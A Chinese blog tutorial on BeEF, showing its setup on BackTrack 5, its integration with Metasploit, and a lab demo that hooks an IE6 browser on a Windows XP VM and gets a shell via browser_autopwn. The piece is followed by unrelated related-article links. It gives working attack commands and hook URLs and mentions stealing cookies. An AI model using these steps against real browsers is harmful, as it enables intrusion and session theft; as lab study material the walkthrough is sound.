初探BeEF
1.什么是BeEF?
就是 The Browser Exploitation Framework 的缩写,意在通过一些手段,控制对方的浏览器。
里面集成了很多模块,能够获取很多东西,有cookie,浏览器名字,版本,插件,是否支持java,vb,flash等,所以说XSS神器嘛。。
大概长这个样子(默认用户名密码是beef,beef):

2.安装beef和使用beef
BT5r3 已经是自带了ruby和beef了,我们不用下载和安装了。
[plain] view plaincopy


- ruby :ruby 1.9.2dev (2010-07-02) [i486-linux]
- beef :Version 0.4.3.6-alpha
beef默认安装在:/pentest/web/beef/ 下
metasploit默认安装在:/opt/metasploit/下
翻看了下beef的安装文档:INSTALL.txt
[plain] view plaincopy


- 1. Prerequisites (platform independent)
- BeEF requires ruby 1.9 and the "bundler" gem. Bundler can be installed by:
- gem install bundler
- . Prerequisites (Linux)
- !!! This must be done PRIOR to running the bundle install command !!!
- On linux you will need to find the packages specific to your distribution for sqlite. An example for Ubuntu systems is:
- 3.0. sudo apt-get install libsqlite3-dev sqlite3 sqlite3-doc
- 3.1. install rvm from rvm.beginrescueend.com, this takes care of the various incompatable and conflicting ruby packages that are required
- 3.2. rvm install 1.9.2
- 3.3. rvm use 1.9.2
发现有个东西必须的安装: bundler!(千古一问:为什么BT5不一起把bundler安装好呢?)
总结了下就是:
[plain] view plaincopy


- apt-get install libsqlite3-dev sqlite3 sqlite3-doc
- gem install bundler
- bundle install
如果出错(因为环境变量的问题,我感觉看官们一定会出错的,乖乖输入下面的命令):
[plain] view plaincopy


- gem install --user-install bundler
然后开启beef:./beef
出现如下信息则成功:
[plain] view plaincopy


- root@bt:/pentest/web/beef# ./beef
- [ 9:17:50][*] Browser Exploitation Framework (BeEF)
- [ 9:17:50] | Version 0.4.3.6-alpha
- [ 9:17:50] | Website http://beefproject.com
- [ 9:17:50] | Run 'beef -h' for basic help.
- [ 9:17:50] |_ Run 'git pull' to update to the latest revision.
- [ 9:17:50][*] Successful connection with Metasploit.
- [ 9:17:53][*] Loaded 203 Metasploit exploits.
- [ 9:17:53][*] BeEF is loading. Wait a few seconds...
- [ 9:17:57][*] 9 extensions loaded:
- [ 9:17:57] | Console
- [ 9:17:57] | Requester
- [ 9:17:57] | Events
- [ 9:17:57] | Proxy
- [ 9:17:57] | XSSRays
- [ 9:17:57] | Autoloader
- [ 9:17:57] | Metasploit
- [ 9:17:57] | Demos
- [ 9:17:57] |_ Admin UI
- [ 9:17:57][*] 316 modules enabled.
- [ 9:17:57][*] 2 network interfaces were detected.
- [ 9:17:57][+] running on network interface: 127.0.0.1
- [ 9:17:57] | Hook URL: http://127.0.0.1:3000/hook.js
- [ 9:17:57] |_ UI URL: http://127.0.0.1:3000/ui/panel
- [ 9:17:57][+] running on network interface: 192.168.198.128
- [ 9:17:57] | Hook URL: http://192.168.198.128:3000/hook.js
- [ 9:17:57] |_ UI URL: http://192.168.198.128:3000/ui/panel
- [ 9:17:57][*] RESTful API key: c29aef201f68aee70afc6ffedea1f77e8304ce72
- [ 9:17:57][*] HTTP Proxy: http://127.0.0.1:6789
- [ 9:17:57][*] BeEF server started (press control+c to stop)
其实BeEF能干很多事,比如说,控制被HOOK浏览器弹个框吧:

3.配置beef携手Metasploit
首先关闭beef(Ctrl+C)。
在/opt/metasploit/文件夹下gedit beef.rc,写入内容:
[plain] view plaincopy


- load msgrpc ServerHost=127.0.0.1 Pass=abc123
这里上网搜了下,发现密码神马的最好不要改,那就不改啦~
安装msgpack:
[plain] view plaincopy


- gem install --user-install msgpack
修改配置让beef支持metasploit:
[plain] view plaincopy


- gedit /pentest/web/beef/config.yaml
- 把 metasploit:
- enable: false
- 改成:
- metasploit:
- enable: true
Ps:这里必须先开msf,再开beef,才能在beef下用msf,也就是说两者开着一起工作!
我们启动metasploit:
[plain] view plaincopy


- root@bt:/opt/metasploit/msf3# msfconsole -r beef.rc
出现如下信息就表示成功:
[plain] view plaincopy


- [*] Processing beef.rc for ERB directives.
- resource (beef.rc)> load msgrpc ServerHost=127.0.0.1 Pass=abc123
- [*] MSGRPC Service: 127.0.0.1:55552
- [*] MSGRPC Username: msf
- [*] MSGRPC Password: abc123
- [*] Successfully loaded plugin: msgrpc
然后我们再启动beef:
[plain] view plaincopy


- root@bt:/pentest/web/beef# ./beef
beef,beef登陆后我们就能看到一个可爱的界面了:

然后BeEF自带了一个hack页面,坐等别人上钩:
[plain] view plaincopy


- http://127.0.0.1:3000/demos/basic.html
里面主要是有这么一段js代码:
[plain] view plaincopy


4.对XPSP1测试
(1)让xp sp1 用IE6访问hack页面:
[plain] view plaincopy


- http://192.168.198.128:3000/demos/basic.html
发现面板左侧上多了一个目标,也就是我们喜欢的IE6:

(2)
拿msf生成HOOK链接:
[plain] view plaincopy


- msf > use auxiliary/server/browser_autopwn
- msf auxiliary(browser_autopwn) > set LHOST 192.168.198.128 #我服务器自己的地址
- LHOST => 192.168.198.128
- msf auxiliary(browser_autopwn) > run
然后出来一大堆URL,我们选择,IE的一个:
[plain] view plaincopy


- http://192.168.198.128:8080/hxRmMPkYJa
控制被HOOK的浏览器去访问这个链接:

然后msf 突然就开始自己(意味着自动化,这点以前一直以为我要做些什么,其实不用)跑起来,拿到shell:

至此,BeEF就算是一个初步认识和使用了。
有很多功能还没学会了,不过我感觉控制那个cookie之类的应该是没问题了。。
这么强大的神器,你还在等什么呢?
emaster 关注信息安全的胖子
欢迎转载,但转载请注明地址:http://blog.csdn.net/emaste_r/article/details/17091067
初探BeEF的更多相关文章
- 【20171106早】BeEF 工具初探
老黑今天接触BeEF工具,首先要了解这个工具能够做什么? 0x01:功能介绍 专业文档:点击这里 通俗的说就是可以控制别的浏览器,获取浏览器的信息.然后做something 专业的说就是好用的渗透测试 ...
- 初探领域驱动设计(2)Repository在DDD中的应用
概述 上一篇我们算是粗略的介绍了一下DDD,我们提到了实体.值类型和领域服务,也稍微讲到了DDD中的分层结构.但这只能算是一个很简单的介绍,并且我们在上篇的末尾还留下了一些问题,其中大家讨论比较多的, ...
- CSharpGL(8)使用3D纹理渲染体数据 (Volume Rendering) 初探
CSharpGL(8)使用3D纹理渲染体数据 (Volume Rendering) 初探 2016-08-13 由于CSharpGL一直在更新,现在这个教程已经不适用最新的代码了.CSharpGL源码 ...
- 从273二手车的M站点初探js模块化编程
前言 这几天在看273M站点时被他们的页面交互方式所吸引,他们的首页是采用三次加载+分页的方式.也就说分为大分页和小分页两种交互.大分页就是通过分页按钮来操作,小分页是通过下拉(向下滑动)时异步加载数 ...
- JavaScript学习(一) —— 环境搭建与JavaScript初探
1.开发环境搭建 本系列教程的开发工具,我们采用HBuilder. 可以去网上下载最新的版本,然后解压一下就能直接用了.学习JavaScript,环境搭建是非常简单的,或者说,只要你有一个浏览器,一个 ...
- .NET文件并发与RabbitMQ(初探RabbitMQ)
本文版权归博客园和作者吴双本人共同所有.欢迎转载,转载和爬虫请注明原文地址:http://www.cnblogs.com/tdws/p/5860668.html 想必MQ这两个字母对于各位前辈们和老司 ...
- React Native初探
前言 很久之前就想研究React Native了,但是一直没有落地的机会,我一直认为一个技术要有落地的场景才有研究的意义,刚好最近迎来了新的APP,在可控的范围内,我们可以在上面做任何想做的事情. P ...
- 【手把手教你全文检索】Apache Lucene初探
PS: 苦学一周全文检索,由原来的搜索小白,到初次涉猎,感觉每门技术都博大精深,其中精髓亦是不可一日而语.那小博猪就简单介绍一下这一周的学习历程,仅供各位程序猿们参考,这其中不涉及任何私密话题,因此也 ...
- Key/Value之王Memcached初探:三、Memcached解决Session的分布式存储场景的应用
一.高可用的Session服务器场景简介 1.1 应用服务器的无状态特性 应用层服务器(这里一般指Web服务器)处理网站应用的业务逻辑,应用的一个最显著的特点是:应用的无状态性. PS:提到无状态特性 ...
随机推荐
- uvm_config_db在UVM验证环境中的应用
如何在有效的使用uvm_config_db来搭建uvm验证环境对于许多验证团队来说仍然是一个挑战.一些验证团队完全避免使用它,这样就不能够有效利用它带来的好处:另一些验证团队却过多的使用它,这让验证环 ...
- JDK1.7新特性(3):java语言动态性之脚本语言API
简要描述:其实在jdk1.6中就引入了支持脚本语言的API.这使得java能够很轻松的调用其他脚本语言.具体API的使用参考下面的代码: package com.rampage.jdk7.chapte ...
- [转]IIS的各种身份验证详细测试
本文转自:http://www.cnblogs.com/chnking/archive/2007/11/20/965553.html#_Toc183326163 一. IIS的身份验证概述 1. ...
- [C#]LockBits使用笔记
昨天想基于一张图片做个手机锁屏来着,原图如下:主要是嫌白底太丑了,一开始是想画图工具直接油漆桶伺候,然而一浇上去就发现问题了,变成了这样:看来得手工处理一下把底色统一了,原图分辨率挺高的,SetPix ...
- Android Studio中 图片资源存在但是运行时报错的问题
最近看安卓遇到了了一个很头疼的问题,我明明在drawable文件夹中添加了图片资源,Android Studio 中也预加载了图片,但是在运行的时候就开始咔咔咔报错 = = 如下图所示: 图片后面显示 ...
- java的内存区域
java的内存区域分为程序计数器.java虚拟机栈.本地方法栈.java堆.方法区.运行时常量池. 1.程序计数器 2.java虚拟机栈 3.本地方法栈 4.java堆(新生代和老年代) 5.方法区( ...
- ssm项目快速搭建(注解)-依赖
父层jar包版本控制,管理配置 <!-- 集中定义依赖版本号 --> <properties> <junit.version>4.12</ ...
- 前端(十一):props、state及redux关系梳理
所谓状态机,是一种抽象的数据模型,是“事物发展的趋势”,其原理是事件驱动.广泛地讲,世界万物都是状态机. 一.状态机是一种抽象的数据模型 在react中,props和state都可以用来传递数据.这里 ...
- textarea的maxlength属性兼容解决方案
IE10版本的textarea才支持maxlength属性:低版本的IE都不兼容,实际上低版本的IE的市场存在率还是很高的: 所以还是很有必要来整合一套解决方案的: Jquery版本 $(functi ...
- svg矢量图标在html中的使用, (知识点:1.通过h5中的css实现点击变色,2.一个svg文件包含多个图标)
svg矢量文件体积小,不变形,比传统的png先进,比现在流行的icon-font灵活.然而在使用过程中还是遇到了很多坑.今天花了一天时间把经验整理出来,以供后来者借鉴.如果您从本文收益,请留言mark ...